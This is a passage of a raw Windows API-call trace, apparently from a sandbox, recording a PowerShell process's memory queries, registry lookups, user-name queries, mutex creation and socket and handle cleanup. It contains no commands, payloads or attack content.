State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.479] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.479] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.479] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.479] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.479] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.479] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.480] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.480] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.480] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.480] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.482] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.484] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.484] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.505] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c790, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.505] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.506] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.506] VirtualQuery (in: lpAddress=0x24bde0, lpBuffer=0x24cca0, dwLength=0x30 | out: lpBuffer=0x24cca0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.509] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.510] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.510] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.510] VirtualQuery (in: lpAddress=0x24bde0, lpBuffer=0x24cca0, dwLength=0x30 | out: lpBuffer=0x24cca0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.510] VirtualQuery (in: lpAddress=0x24b630, lpBuffer=0x24c4f0, dwLength=0x30 | out: lpBuffer=0x24c4f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.510] VirtualQuery (in: lpAddress=0x24b630, lpBuffer=0x24c4f0, dwLength=0x30 | out: lpBuffer=0x24c4f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.511] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24dc38 | out: phkResult=0x24dc38*=0x3a8) returned 0x0 [0044.511] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24dbbc, lpData=0x0, lpcbData=0x24dbb8*=0x0 | out: lpType=0x24dbbc*=0x1, lpData=0x0, lpcbData=0x24dbb8*=0x56) returned 0x0 [0044.511] CoTaskMemAlloc (cb=0x5a) returned 0x1ba1b6e0 [0044.511] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24db8c, lpData=0x1ba1b6e0, lpcbData=0x24db88*=0x56 | out: lpType=0x24db8c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24db88*=0x56) returned 0x0 [0044.512] CoTaskMemFree (pv=0x1ba1b6e0) [0044.512] RegCloseKey (hKey=0x3a8) returned 0x0 [0044.512] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24dc38 | out: phkResult=0x24dc38*=0x3a8) returned 0x0 [0044.512] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24dbbc, lpData=0x0, lpcbData=0x24dbb8*=0x0 | out: lpType=0x24dbbc*=0x1, lpData=0x0, lpcbData=0x24dbb8*=0x56) returned 0x0 [0044.512] CoTaskMemAlloc (cb=0x5a) returned 0x1ba1b6e0 [0044.512] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24db8c, lpData=0x1ba1b6e0, lpcbData=0x24db88*=0x56 | out: lpType=0x24db8c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24db88*=0x56) returned 0x0 [0044.512] CoTaskMemFree (pv=0x1ba1b6e0) [0044.512] RegCloseKey (hKey=0x3a8) returned 0x0 [0044.512] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b9f7420 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0044.512] CoTaskMemFree (pv=0x1b9f7420) [0044.512] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x24d7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0044.512] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b9f7420 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0044.512] CoTaskMemFree (pv=0x1b9f7420) [0044.513] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x24d7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0044.514] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.514] CoTaskMemFree (pv=0x3d6f30) [0044.514] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.514] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.514] CoTaskMemFree (pv=0x3d6f30) [0044.514] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.514] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.515] CoTaskMemFree (pv=0x3d6f30) [0044.515] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.515] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.515] CoTaskMemFree (pv=0x3d6f30) [0044.518] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.518] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.518] CoTaskMemFree (pv=0x3d6f30) [0044.520] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.520] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.520] CoTaskMemFree (pv=0x3d6f30) [0044.522] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0044.522] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x24dd80 | out: lpMode=0x24dd80) returned 1 [0044.523] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.523] CoTaskMemFree (pv=0x3d6f30) [0044.524] SetEvent (hEvent=0x380) returned 1 [0044.524] SetEvent (hEvent=0x3a8) returned 1 [0044.524] SetEvent (hEvent=0x358) returned 1 [0044.524] SetEvent (hEvent=0x37c) returned 1 [0044.526] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.526] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.526] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x24dad8 | out: phkResult=0x24dad8*=0x30c) returned 0x0 [0044.526] RegQueryValueExW (in: hKey=0x30c, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x24da5c, lpData=0x0, lpcbData=0x24da58*=0x0 | out: lpType=0x24da5c*=0x0, lpData=0x0, lpcbData=0x24da58*=0x0) returned 0x2 [0065.309] SetEvent (hEvent=0x320) returned 1 [0065.310] CoTaskMemAlloc (cb=0x804) returned 0x1ba250f0 [0065.310] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1ba250f0, nSize=0x24dc08 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24dc08) returned 0x1 [0065.310] CoTaskMemFree (pv=0x1ba250f0) [0065.310] CoTaskMemAlloc (cb=0x204) returned 0x394eb0 [0065.310] GetUserNameW (in: lpBuffer=0x394eb0, pcbBuffer=0x24dc48 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24dc48) returned 1 [0065.311] CoTaskMemFree (pv=0x394eb0) [0065.311] ReportEventW (hEventLog=0x1bab0008, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3105998*="Stopped", lpRawData=0x3105728) returned 1 [0065.314] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0065.315] CoGetContextToken (in: pToken=0x24f7d0 | out: pToken=0x24f7d0) returned 0x0 [0065.315] CObjectContext::QueryInterface () returned 0x0 [0065.315] CObjectContext::GetCurrentThreadType () returned 0x0 [0065.315] Release () returned 0x0 [0065.316] CoGetContextToken (in: pToken=0x24f3a0 | out: pToken=0x24f3a0) returned 0x0 [0065.316] CObjectContext::QueryInterface () returned 0x0 [0065.316] CObjectContext::GetCurrentThreadType () returned 0x0 [0065.316] Release () returned 0x0 [0065.317] CoGetContextToken (in: pToken=0x24f3a0 | out: pToken=0x24f3a0) returned 0x0 [0065.322] CObjectContext::QueryInterface () returned 0x0 [0065.322] CObjectContext::GetCurrentThreadType () returned 0x0 [0065.322] Release () returned 0x0 [0065.326] CoGetContextToken (in: pToken=0x24f3a0 | out: pToken=0x24f3a0) returned 0x0 [0065.326] CObjectContext::QueryInterface () returned 0x0 [0065.326] CObjectContext::GetCurrentThreadType () returned 0x0 [0065.326] Release () returned 0x0 [0065.364] CoGetContextToken (in: pToken=0x24f390 | out: pToken=0x24f390) returned 0x0 [0065.364] CObjectContext::QueryInterface () returned 0x0 [0065.364] CObjectContext::GetCurrentThreadType () returned 0x0 [0065.364] Release () returned 0x0 [0065.365] CoUninitialize () Thread: id = 25 os_tid = 0xa18 Thread: id = 26 os_tid = 0xa1c Thread: id = 27 os_tid = 0xa20 Thread: id = 28 os_tid = 0xa24 Thread: id = 29 os_tid = 0xa28 [0039.296] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0042.582] LocalFree (hMem=0x336aa0) returned 0x0 [0042.582] CloseHandle (hObject=0x324) returned 1 [0042.582] CloseHandle (hObject=0x13) returned 1 [0042.622] RegCloseKey (hKey=0x30c) returned 0x0 [0042.622] RegCloseKey (hKey=0x308) returned 0x0 [0042.622] LocalFree (hMem=0x336a70) returned 0x0 [0042.623] RegCloseKey (hKey=0x330) returned 0x0 [0042.623] CloseHandle (hObject=0xf) returned 1 [0042.623] RegCloseKey (hKey=0x310) returned 0x0 [0043.883] RegCloseKey (hKey=0x374) returned 0x0 [0043.883] RegCloseKey (hKey=0x370) returned 0x0 [0043.883] RegCloseKey (hKey=0x36c) returned 0x0 [0043.883] RegCloseKey (hKey=0x368) returned 0x0 [0043.883] RegCloseKey (hKey=0x364) returned 0x0 [0043.884] RegCloseKey (hKey=0x360) returned 0x0 [0043.884] RegCloseKey (hKey=0x35c) returned 0x0 [0043.884] RegCloseKey (hKey=0x3a4) returned 0x0 [0043.884] RegCloseKey (hKey=0x3a0) returned 0x0 [0043.884] RegCloseKey (hKey=0x34c) returned 0x0 [0043.884] RegCloseKey (hKey=0x348) returned 0x0 [0043.884] RegCloseKey (hKey=0x344) returned 0x0 [0043.885] RegCloseKey (hKey=0x340) returned 0x0 [0043.885] RegCloseKey (hKey=0x33c) returned 0x0 [0043.885] RegCloseKey (hKey=0x338) returned 0x0 [0043.885] RegCloseKey (hKey=0x324) returned 0x0 [0043.885] RegCloseKey (hKey=0x30c) returned 0x0 [0043.886] RegCloseKey (hKey=0x308) returned 0x0 [0043.886] RegCloseKey (hKey=0x39c) returned 0x0 [0043.886] RegCloseKey (hKey=0x398) returned 0x0 [0043.886] RegCloseKey (hKey=0x378) returned 0x0 [0043.886] RegCloseKey (hKey=0x3ac) returned 0x0 [0043.886] RegCloseKey (hKey=0x390) returned 0x0 [0043.886] RegCloseKey (hKey=0x38c) returned 0x0 [0043.887] RegCloseKey (hKey=0x388) returned 0x0 [0043.887] RegCloseKey (hKey=0x384) returned 0x0 [0043.887] RegCloseKey (hKey=0x380) returned 0x0 [0043.887] RegCloseKey (hKey=0x37c) returned 0x0 [0043.887] RegCloseKey (hKey=0x358) returned 0x0 [0043.887] RegCloseKey (hKey=0x3a8) returned 0x0 [0043.888] RegCloseKey (hKey=0x330) returned 0x0 [0044.932] RegCloseKey (hKey=0x30c) returned 0x0 [0049.204] CloseHandle (hObject=0x30c) returned 1 [0049.205] CloseHandle (hObject=0xf) returned 1 [0049.205] CloseHandle (hObject=0x3a4) returned 1 [0049.206] CloseHandle (hObject=0x34c) returned 1 [0065.318] LocalFree (hMem=0x3d6e20) returned 0x0 [0065.318] LocalFree (hMem=0x3d6d10) returned 0x0 [0065.319] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3105d50, cbSid=0x1b5cf030 | out: pSid=0x3105d50*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b5cf030) returned 1 [0065.320] CreateMutexW (lpMutexAttributes=0x3105f08, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3e8 [0065.320] WaitForSingleObject (hHandle=0x3e8, dwMilliseconds=0x1f4) returned 0x0 [0065.320] ReleaseMutex (hMutex=0x3e8) returned 1 [0065.320] CloseHandle (hObject=0x3e8) returned 1 [0065.320] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3106260, cbSid=0x1b5cf030 | out: pSid=0x3106260*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b5cf030) returned 1 [0065.320] CreateMutexW (lpMutexAttributes=0x3106418, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3e8 [0065.320] WaitForSingleObject (hHandle=0x3e8, dwMilliseconds=0x1f4) returned 0x0 [0065.320] ReleaseMutex (hMutex=0x3e8) returned 1 [0065.320] CloseHandle (hObject=0x3e8) returned 1 [0065.320] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3106770, cbSid=0x1b5cf030 | out: pSid=0x3106770*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b5cf030) returned 1 [0065.321] CreateMutexW (lpMutexAttributes=0x3106928, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3e8 [0065.321] WaitForSingleObject (hHandle=0x3e8, dwMilliseconds=0x1f4) returned 0x0 [0065.321] ReleaseMutex (hMutex=0x3e8) returned 1 [0065.321] CloseHandle (hObject=0x3e8) returned 1 [0065.321] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3106c80, cbSid=0x1b5cf030 | out: pSid=0x3106c80*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b5cf030) returned 1 [0065.321] CreateMutexW (lpMutexAttributes=0x3106e38, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3e8 [0065.321] WaitForSingleObject (hHandle=0x3e8, dwMilliseconds=0x1f4) returned 0x0 [0065.321] ReleaseMutex (hMutex=0x3e8) returned 1 [0065.321] CloseHandle (hObject=0x3e8) returned 1 [0065.321] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3107190, cbSid=0x1b5cf060 | out: pSid=0x3107190*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b5cf060) returned 1 [0065.321] CreateMutexW (lpMutexAttributes=0x3107348, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3e8 [0065.322] WaitForSingleObject (hHandle=0x3e8, dwMilliseconds=0x1f4) returned 0x0 [0065.322] ReleaseMutex (hMutex=0x3e8) returned 1 [0065.322] CloseHandle (hObject=0x3e8) returned 1 [0065.326] DeregisterEventSource (hEventLog=0x1bab0008) returned 1 [0065.338] setsockopt (s=0x4e0, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0065.338] closesocket (s=0x4e0) returned 0 [0065.346] UnmapViewOfFile (lpBaseAddress=0x2b90000) returned 1 [0065.347] CloseHandle (hObject=0x418) returned 1 [0065.347] CloseHandle (hObject=0x410) returned 1 [0065.348] CloseHandle (hObject=0x40c) returned 1 [0065.348] CloseHandle (hObject=0x3bc) returned 1 [0065.348] CloseHandle (hObject=0x3b8) returned 1 [0065.349] CloseHandle (hObject=0x3b4) returned 1 [0065.349] CloseHandle (hObject=0x394) returned 1 [0065.349] CloseHandle (hObject=0x374) returned 1 [0065.350] RegCloseKey (hKey=0x5d8) returned 0x0 [0065.350] CloseHandle (hObject=0x34c) returned 1 [0065.350] CloseHandle (hObject=0x36c) returned 1 [0065.350] CloseHandle (hObject=0x368) returned 1 [0065.351] CloseHandle (hObject=0x360) returned 1 [0065.351] CloseHandle (hObject=0x364) returned 1 [0065.352] CloseHandle (hObject=0x3a0) returned 1 [0065.352] CloseHandle (hObject=0x348) returned 1 [0065.352] CloseHandle (hObject=0x5d4) returned 1 [0065.352] CloseHandle (hObject=0x5d0) returned 1 [0065.352] CloseHandle (hObject=0x5cc) returned 1 [0065.353] CloseHandle (hObject=0x584) returned 1 [0065.353] setsockopt (s=0x4f4, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0065.353] closesocket (s=0x4f4) returned 0 [0065.353] CloseHandle (hObject=0x4f8) returned 1 [0065.353] setsockopt (s=0x4ec, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0065.354] closesocket (s=0x4ec) returned 0 [0065.354] CloseHandle (hObject=0x4d4) returned 1 [0065.354] CloseHandle (hObject=0x35c) returned 1 [0065.354] CloseHandle (hObject=0x5c4) returned 1 [0065.354] CloseHandle (hObject=0x570) returned 1 [0065.354] CloseHandle (hObject=0x568) returned 1 [0065.355] CloseHandle (hObject=0x55c) returned 1 [0065.355] CloseHandle (hObject=0x560) returned 1 [0065.355] CloseHandle (hObject=0x4d0) returned 1 [0065.355] CloseHandle (hObject=0x4d8) returned 1 [0065.355] CloseHandle (hObject=0x564) returned 1 [0065.356] CloseHandle (hObject=0x464) returned 1 [0065.356] CloseHandle (hObject=0x460) returned 1 [0065.356] CloseHandle (hObject=0x308) returned 1 [0065.356] CloseHandle (hObject=0x39c) returned 1 [0065.357] CloseHandle (hObject=0x398) returned 1 [0065.357] CloseHandle (hObject=0x378) returned 1 [0065.357] CloseHandle (hObject=0x3ac) returned 1 [0065.357] CloseHandle (hObject=0x390) returned 1 [0065.357] CloseHandle (hObject=0x38c) returned 1 [0065.357] CloseHandle (hObject=0x388) returned 1 [0065.358] CloseHandle (hObject=0x384) returned 1 [0065.358] CloseHandle (hObject=0x380) returned 1 [0065.358] CloseHandle (hObject=0x37c) returned 1 [0065.358] CloseHandle (hObject=0x358) returned 1 [0065.358] CloseHandle (hObject=0x3a8) returned 1 [0065.358] CloseHandle (hObject=0x45c) returned 1 [0065.359] CloseHandle (hObject=0x458) returned 1 [0065.359] RegCloseKey (hKey=0x454) returned 0x0 [0065.359] CloseHandle (hObject=0x450) returned 1 [0065.359] RegCloseKey (hKey=0x44c) returned 0x0 [0065.359] CloseHandle (hObject=0x448) returned 1 [0065.359] RegCloseKey (hKey=0x444) returned 0x0 [0065.360] RegCloseKey (hKey=0x440) returned 0x0 [0065.360] CloseHandle (hObject=0x428) returned 1 [0065.360] setsockopt (s=0x420, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0065.360] closesocket (s=0x420) returned 0 [0065.360] CloseHandle (hObject=0x424) returned 1 [0065.361] setsockopt (s=0x414, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0065.361] closesocket (s=0x414) returned 0 [0065.361] CloseHandle (hObject=0x41c) returned 1 [0065.361] CloseHandle (hObject=0x59c) returned 1 [0065.361] CloseHandle (hObject=0x5a0) returned 1 [0065.362] CloseHandle (hObject=0x508) returned 1 [0065.362] CloseHandle (hObject=0x5c8) returned 1 [0065.362] CloseHandle (hObject=0x320) returned 1 [0065.362] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0065.362] CloseHandle (hObject=0x2f0) returned 1 [0065.363] UnmapViewOfFile (lpBaseAddress=0x2920000) returned 1 [0065.363] CloseHandle (hObject=0x32c) returned 1 Thread: id = 30 os_tid = 0xa2c Thread: id = 32 os_tid = 0xac4 [0044.531] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0044.535] SetThreadUILanguage (LangId=0x0) returned 0x7fffff00409 [0044.540] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.540] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.540] CoTaskMemFree (pv=0x3d6f30) [0044.541] VirtualQuery (in: lpAddress=0x1c99dd60, lpBuffer=0x1c99ec20, dwLength=0x30 | out: lpBuffer=0x1c99ec20*(BaseAddress=0x1c99d000, AllocationBase=0x1c010000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.548] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.548] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.548] CoTaskMemFree (pv=0x3d6f30) [0044.550] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.550] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.550] CoTaskMemFree (pv=0x3d6f30) [0044.552] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.552] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.552] CoTaskMemFree (pv=0x3d6f30) [0044.559] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.559] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.559] CoTaskMemFree (pv=0x3d6f30) [0044.561] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.561] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.561] CoTaskMemFree (pv=0x3d6f30) [0044.562] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0044.562] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: 